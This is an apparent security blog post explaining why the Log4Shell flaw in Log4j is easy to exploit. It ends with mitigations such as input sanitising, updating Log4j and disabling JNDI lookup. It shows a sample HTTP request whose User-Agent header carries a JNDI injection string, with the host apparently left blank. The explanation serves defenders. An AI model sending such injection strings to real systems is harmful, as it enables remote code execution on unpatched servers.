Log4J / Log4Shell (Part 2): Why so easy to exploit


Remote Code Execution (RCE)

First, let’s clarify why this vulnerability – at least its more dangerous variants – is so critical.

For an attacker, the most powerful action is to be able to run any code that they want in the target system. That’s exactly what an RCE vulnerability allows them to do.

In Log4Shell this type of attack is possible because of an “advanced” feature in the Log4j mechanism. When writing logs with Log4j, a developer can insert some special instructions in the text being logged. Those instructions are wrapped in a specific tag (“${…}”) and tell Log4j to replace the whole tag with a value obtained from the instructions inside the tag.

Most of the time these instructions just tell Log4j to use a value from the execution environment – process ID, memory, etc. – which can be useful when analysing the logs for troubleshooting. So, it is basically a string interpolation mechanism. However, it also allows the developer to fetch values stored in a remote LDAP server using the JNDI API, e.g.:


This doesn’t sound too bad if it wasn’t for the fact that JNDI can be tricked into fetching code from the LDAP server and running it locally – while it’s trying to resolve the reference inside the ${} tag.

And that’s how Log4j is potentially open to an RCE attack.

The mechanism is clearly explained in the Veracode post:

How a simple HTTP request can trigger it?

The RCE scenario explained above represents a potential weakness of the Log4j mechanism but, as long as (trusted) developers control which “instruction tags” go into the logs, it doesn’t have to be exposed to external actors.

This is where the HTTP request comes into play. Not because it has some dangerous features, but because most services processing HTTP requests have a habit of logging all, or most of, the details of the request itself. That’s where pieces of text that are not under the developers’ control get handled by Log4j; including the processing of the special instruction tags. If you can include those tags in the HTTP request, then they will probably be written to a log at some point during the processing of the request. And it’s very easy to make any string part of the HTTP request without affecting the request itself; for example, using custom headers.

GET / HTTP/1.1
User-Agent: ${jndi:ldap://}

Are there other simple attack vectors?

Unfortunately, yes. This vulnerability can be exploited just by getting Log4j to write logs with text controlled by the attacker. Any mechanism that allows external users to “inject” text into an application are potential attack vectors, and that’s what most applications are there for!

Now, most user input doesn’t ever get written to a log, but quite a bit of the metadata that comes with that input is logged, either as a matter of course or as a response to an error.

HTTP requests, email details, data input into a form, “hidden” data sent along with forms, etc., all can be written to a Log4j log at some point. Some of them with more frequency than others, but attackers just need to try different avenues until they find a vulnerable path.

Some good news

But it’s not all doom and gloom. Yes, this is a very dangerous vulnerability and all organisations need to ensure they scan their systems, but there are several actions that can mitigate and/or eliminate the vulnerability.

Given that the Log4Shell attack mechanism relies on a number of steps working in a specific manner, there are “breakpoints” at with the attack can be foiled:

  • Block or “sanitise” external inputs. This is a general application security rule that is systematically used to prevent malicious code injections in SQL and Javascript; however, it’s not that common to check for the Log4j tags.
  • Disable or update Log4j across your platforms. This is the best approach in the long term.
  • Disable JNDI lookup. Another good action to break the attack, but it might not work for all scenarios.
  • Disable Java remote execution.

These are nicely illustrated in this diagram created Swiss Government.

The log4j JNDI attack

Other posts in this series

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Contextual vulnerability management is a comprehensive approach to identifying, analyzing, and mitigating vulnerabilities in software and cloud infrastructure. It involves considering the specific context and environment in which vulnerabilities exist, including the software and hardware components, the network infrastructure, and the organizational policies and processes in place. By adopting this approach, organizations can more effectively assess and mitigate the risks posed by vulnerabilities, helping to protect their assets and maintain the security of their systems and networks.
Francesco Cipollone
Cyber security risk is challenging to calculate. Real-Time context, Cyber threat intelligence, Ownership Vulnerabilities, all part of the same continuum ->
Alfonso Eusebio
In today’s digital world, cyber threats are a real and growing concern for organizations of all sizes. As the threat landscape continues to evolve. we explore in this blog how to threat treats, which one to use in your prioritization strategy
Sally Turner

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

x Logo: ShieldPRO
This Site Is Protected By